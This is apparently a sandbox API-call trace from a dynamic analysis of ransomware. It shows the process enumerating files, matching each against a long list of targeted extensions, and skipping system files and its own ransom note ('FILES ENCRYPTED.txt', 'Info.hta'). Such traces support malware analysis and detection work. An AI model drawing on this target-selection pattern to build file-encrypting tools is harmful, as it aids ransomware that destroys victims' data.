	[0164.415] lstrlenW (lpString=".accda") returned 6
	[0164.415] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.415] lstrlenW (lpString=".accdb") returned 6
	[0164.415] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.415] lstrlenW (lpString=".accdc") returned 6
	[0164.415] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.415] lstrlenW (lpString=".accde") returned 6
	[0164.415] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.415] lstrlenW (lpString=".accdt") returned 6
	[0164.415] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.415] lstrlenW (lpString=".accdw") returned 6
	[0164.415] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.415] lstrlenW (lpString=".adb") returned 4
	[0164.415] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".adp") returned 4
	[0164.415] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".ai") returned 3
	[0164.415] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.415] lstrlenW (lpString=".ai3") returned 4
	[0164.415] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".ai4") returned 4
	[0164.415] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".ai5") returned 4
	[0164.416] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".ai6") returned 4
	[0164.416] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".ai7") returned 4
	[0164.416] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".ai8") returned 4
	[0164.416] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".anim") returned 5
	[0164.416] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.416] lstrlenW (lpString=".arw") returned 4
	[0164.416] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".as") returned 3
	[0164.416] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.416] lstrlenW (lpString=".asa") returned 4
	[0164.416] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".asc") returned 4
	[0164.416] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".ascx") returned 5
	[0164.416] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.416] lstrlenW (lpString=".asm") returned 4
	[0164.416] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".asmx") returned 5
	[0164.416] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.416] lstrlenW (lpString=".asp") returned 4
	[0164.416] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".aspx") returned 5
	[0164.416] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.416] lstrlenW (lpString=".asr") returned 4
	[0164.416] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".asx") returned 4
	[0164.416] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".avi") returned 4
	[0164.416] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.416] lstrlenW (lpString=".avs") returned 4
	[0164.416] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".backup") returned 7
	[0164.417] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.417] lstrlenW (lpString=".bak") returned 4
	[0164.417] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".bay") returned 4
	[0164.417] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".bd") returned 3
	[0164.417] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.417] lstrlenW (lpString=".bin") returned 4
	[0164.417] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".bmp") returned 4
	[0164.417] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".bz2") returned 4
	[0164.417] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".c") returned 2
	[0164.417] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.417] lstrlenW (lpString=".cdr") returned 4
	[0164.417] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".cer") returned 4
	[0164.417] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".cf") returned 3
	[0164.417] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.417] lstrlenW (lpString=".cfc") returned 4
	[0164.417] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".cfm") returned 4
	[0164.417] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".cfml") returned 5
	[0164.417] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.417] lstrlenW (lpString=".cfu") returned 4
	[0164.417] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".chm") returned 4
	[0164.417] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".cin") returned 4
	[0164.417] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.417] lstrlenW (lpString=".class") returned 6
	[0164.418] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.418] lstrlenW (lpString=".clx") returned 4
	[0164.418] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".config") returned 7
	[0164.418] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.418] lstrlenW (lpString=".cpp") returned 4
	[0164.418] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".cr2") returned 4
	[0164.418] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".crt") returned 4
	[0164.418] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".crw") returned 4
	[0164.418] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".cs") returned 3
	[0164.418] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.418] lstrlenW (lpString=".css") returned 4
	[0164.418] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".csv") returned 4
	[0164.418] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".cub") returned 4
	[0164.418] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".dae") returned 4
	[0164.418] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".dat") returned 4
	[0164.418] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".db") returned 3
	[0164.418] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.418] lstrlenW (lpString=".dbf") returned 4
	[0164.418] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".dbx") returned 4
	[0164.418] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".dc3") returned 4
	[0164.418] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.418] lstrlenW (lpString=".dcm") returned 4
	[0164.419] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dcr") returned 4
	[0164.419] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".der") returned 4
	[0164.419] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dib") returned 4
	[0164.419] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dic") returned 4
	[0164.419] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dif") returned 4
	[0164.419] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".divx") returned 5
	[0164.419] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.419] lstrlenW (lpString=".djvu") returned 5
	[0164.419] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.419] lstrlenW (lpString=".dng") returned 4
	[0164.419] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".doc") returned 4
	[0164.419] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".docm") returned 5
	[0164.419] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.419] lstrlenW (lpString=".docx") returned 5
	[0164.419] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.419] lstrlenW (lpString=".dot") returned 4
	[0164.419] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dotm") returned 5
	[0164.419] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.419] lstrlenW (lpString=".dotx") returned 5
	[0164.419] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.419] lstrlenW (lpString=".dpx") returned 4
	[0164.419] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dqy") returned 4
	[0164.419] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.419] lstrlenW (lpString=".dsn") returned 4
	[0164.419] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".dt") returned 3
	[0164.420] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.420] lstrlenW (lpString=".dtd") returned 4
	[0164.420] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".dwg") returned 4
	[0164.420] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".dwt") returned 4
	[0164.420] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".dx") returned 3
	[0164.420] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.420] lstrlenW (lpString=".dxf") returned 4
	[0164.420] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".edml") returned 5
	[0164.420] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.420] lstrlenW (lpString=".efd") returned 4
	[0164.420] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".elf") returned 4
	[0164.420] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".emf") returned 4
	[0164.420] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".emz") returned 4
	[0164.420] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".epf") returned 4
	[0164.420] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".eps") returned 4
	[0164.420] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".epsf") returned 5
	[0164.420] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.420] lstrlenW (lpString=".epsp") returned 5
	[0164.420] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.420] lstrlenW (lpString=".erf") returned 4
	[0164.420] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".exr") returned 4
	[0164.420] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.420] lstrlenW (lpString=".f4v") returned 4
	[0164.421] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".fido") returned 5
	[0164.421] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.421] lstrlenW (lpString=".flm") returned 4
	[0164.421] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".flv") returned 4
	[0164.421] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".frm") returned 4
	[0164.421] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".fxg") returned 4
	[0164.421] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".geo") returned 4
	[0164.421] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".gif") returned 4
	[0164.421] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".grs") returned 4
	[0164.421] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".gz") returned 3
	[0164.421] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.421] lstrlenW (lpString=".h") returned 2
	[0164.421] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.421] lstrlenW (lpString=".hdr") returned 4
	[0164.421] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".hpp") returned 4
	[0164.421] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".hta") returned 4
	[0164.421] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".htc") returned 4
	[0164.421] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".htm") returned 4
	[0164.421] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.421] lstrlenW (lpString=".html") returned 5
	[0164.421] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.421] lstrlenW (lpString="index.html") returned 10
	[0164.422] lstrlenW (lpString=".GTF") returned 4
	[0164.422] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.422] lstrlenW (lpString="index.html") returned 10
	[0164.422] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.422] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.422] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.422] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.422] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.422] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.422] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.422] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.422] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html") returned 111
	[0164.422] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.422] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.422] lstrlenW (lpString=".1cd") returned 4
	[0164.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.422] lstrlenW (lpString=".3ds") returned 4
	[0164.422] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.422] lstrlenW (lpString=".3fr") returned 4
	[0164.422] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.422] lstrlenW (lpString=".3g2") returned 4
	[0164.422] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.422] lstrlenW (lpString=".3gp") returned 4
	[0164.422] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.422] lstrlenW (lpString=".7z") returned 3
	[0164.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.422] lstrlenW (lpString=".accda") returned 6
	[0164.422] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.422] lstrlenW (lpString=".accdb") returned 6
	[0164.422] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.422] lstrlenW (lpString=".accdc") returned 6
	[0164.422] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.423] lstrlenW (lpString=".accde") returned 6
	[0164.423] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.423] lstrlenW (lpString=".accdt") returned 6
	[0164.423] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.423] lstrlenW (lpString=".accdw") returned 6
	[0164.423] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.423] lstrlenW (lpString=".adb") returned 4
	[0164.423] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".adp") returned 4
	[0164.423] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".ai") returned 3
	[0164.423] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.423] lstrlenW (lpString=".ai3") returned 4
	[0164.423] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".ai4") returned 4
	[0164.423] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".ai5") returned 4
	[0164.423] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".ai6") returned 4
	[0164.423] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".ai7") returned 4
	[0164.423] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".ai8") returned 4
	[0164.423] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".anim") returned 5
	[0164.423] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.423] lstrlenW (lpString=".arw") returned 4
	[0164.423] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".as") returned 3
	[0164.423] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.423] lstrlenW (lpString=".asa") returned 4
	[0164.423] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.423] lstrlenW (lpString=".asc") returned 4
	[0164.423] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".ascx") returned 5
	[0164.424] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.424] lstrlenW (lpString=".asm") returned 4
	[0164.424] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".asmx") returned 5
	[0164.424] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.424] lstrlenW (lpString=".asp") returned 4
	[0164.424] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".aspx") returned 5
	[0164.424] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.424] lstrlenW (lpString=".asr") returned 4
	[0164.424] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".asx") returned 4
	[0164.424] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".avi") returned 4
	[0164.424] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".avs") returned 4
	[0164.424] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".backup") returned 7
	[0164.424] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.424] lstrlenW (lpString=".bak") returned 4
	[0164.424] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".bay") returned 4
	[0164.424] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".bd") returned 3
	[0164.424] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.424] lstrlenW (lpString=".bin") returned 4
	[0164.424] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".bmp") returned 4
	[0164.424] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".bz2") returned 4
	[0164.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.424] lstrlenW (lpString=".c") returned 2
	[0164.424] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.424] lstrlenW (lpString=".cdr") returned 4
	[0164.425] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".cer") returned 4
	[0164.425] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".cf") returned 3
	[0164.425] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.425] lstrlenW (lpString=".cfc") returned 4
	[0164.425] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".cfm") returned 4
	[0164.425] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".cfml") returned 5
	[0164.425] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.425] lstrlenW (lpString=".cfu") returned 4
	[0164.425] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".chm") returned 4
	[0164.425] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".cin") returned 4
	[0164.425] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".class") returned 6
	[0164.425] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.425] lstrlenW (lpString=".clx") returned 4
	[0164.425] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".config") returned 7
	[0164.425] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.425] lstrlenW (lpString=".cpp") returned 4
	[0164.425] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.425] lstrlenW (lpString=".cr2") returned 4
	[0164.426] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".crt") returned 4
	[0164.426] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".crw") returned 4
	[0164.426] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".cs") returned 3
	[0164.426] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.426] lstrlenW (lpString=".css") returned 4
	[0164.426] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".csv") returned 4
	[0164.426] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".cub") returned 4
	[0164.426] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dae") returned 4
	[0164.426] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dat") returned 4
	[0164.426] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".db") returned 3
	[0164.426] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.426] lstrlenW (lpString=".dbf") returned 4
	[0164.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dbx") returned 4
	[0164.426] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dc3") returned 4
	[0164.426] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dcm") returned 4
	[0164.426] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dcr") returned 4
	[0164.426] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".der") returned 4
	[0164.426] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dib") returned 4
	[0164.426] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.426] lstrlenW (lpString=".dic") returned 4
	[0164.426] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dif") returned 4
	[0164.427] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".divx") returned 5
	[0164.427] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.427] lstrlenW (lpString=".djvu") returned 5
	[0164.427] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.427] lstrlenW (lpString=".dng") returned 4
	[0164.427] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".doc") returned 4
	[0164.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".docm") returned 5
	[0164.427] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.427] lstrlenW (lpString=".docx") returned 5
	[0164.427] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.427] lstrlenW (lpString=".dot") returned 4
	[0164.427] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dotm") returned 5
	[0164.427] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.427] lstrlenW (lpString=".dotx") returned 5
	[0164.427] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.427] lstrlenW (lpString=".dpx") returned 4
	[0164.427] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dqy") returned 4
	[0164.427] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dsn") returned 4
	[0164.427] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dt") returned 3
	[0164.427] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.427] lstrlenW (lpString=".dtd") returned 4
	[0164.427] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dwg") returned 4
	[0164.427] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dwt") returned 4
	[0164.427] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.427] lstrlenW (lpString=".dx") returned 3
	[0164.428] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.428] lstrlenW (lpString=".dxf") returned 4
	[0164.428] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".edml") returned 5
	[0164.428] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.428] lstrlenW (lpString=".efd") returned 4
	[0164.428] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".elf") returned 4
	[0164.428] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".emf") returned 4
	[0164.428] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".emz") returned 4
	[0164.428] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.428] lstrlenW (lpString=".epf") returned 4
